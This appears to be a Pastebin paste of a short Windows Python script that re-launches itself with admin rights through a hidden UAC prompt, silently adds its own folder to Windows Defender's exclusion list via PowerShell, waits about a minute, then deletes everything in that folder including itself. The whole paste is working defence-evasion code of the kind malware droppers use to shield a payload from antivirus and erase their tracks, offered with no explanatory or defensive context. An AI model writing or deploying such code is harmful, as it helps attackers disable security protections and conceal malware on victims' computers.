Advertisement
TerraMine

t2

Jun 4th, 2025 (edited)
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. import os
  2. import sys
  3. import subprocess
  4. import ctypes
  5. from pathlib import Path
  6. import time
  7. import shutil
  8.  
  9. def is_admin():
  10. try:
  11. return ctypes.windll.shell32.IsUserAnAdmin()
  12. except:
  13. return False
  14.  
  15. def request_admin_privileges():
  16. try:
  17. pythonw_executable = Path(sys.executable).parent / "pythonw.exe"
  18. if not pythonw_executable.exists():
  19. pythonw_executable = "pythonw.exe"
  20.  
  21. ctypes.windll.shell32.ShellExecuteW(
  22. None,
  23. "runas",
  24. str(pythonw_executable),
  25. " ".join(sys.argv),
  26. None,
  27. 0
  28. )
  29. except Exception:
  30. pass
  31. sys.exit(0)
  32.  
  33. def add_defender_exclusion(folder_path):
  34. if not is_admin():
  35. return False
  36.  
  37. command = f'powershell -Command Add-MpPreference -ExclusionPath "{str(folder_path)}"'
  38. process = None
  39. try:
  40. process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
  41. stdout, stderr = process.communicate(timeout=20)
  42. return True
  43. except subprocess.TimeoutExpired:
  44. if process:
  45. process.kill()
  46. return False
  47. except Exception:
  48. return False
  49.  
  50. if __name__ == "__main__":
  51. script_folder = Path(__file__).resolve().parent
  52.  
  53. if not is_admin():
  54. request_admin_privileges()
  55. else:
  56. add_defender_exclusion(script_folder)
  57.  
  58. time.sleep(65)
  59.  
  60. try:
  61. for root, dirs, files in os.walk(script_folder, topdown=False):
  62. for name in files:
  63. file_path = os.path.join(root, name)
  64. try:
  65. os.remove(file_path)
  66. except OSError:
  67. pass
  68. for name in dirs:
  69. dir_path = os.path.join(root, name)
  70. try:
  71. os.rmdir(dir_path)
  72. except OSError:
  73. pass
  74.  
  75. shutil.rmtree(script_folder, ignore_errors=True)
  76. except Exception:
  77. pass
  78.  
  79. sys.exit(0)
  80. #exec
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement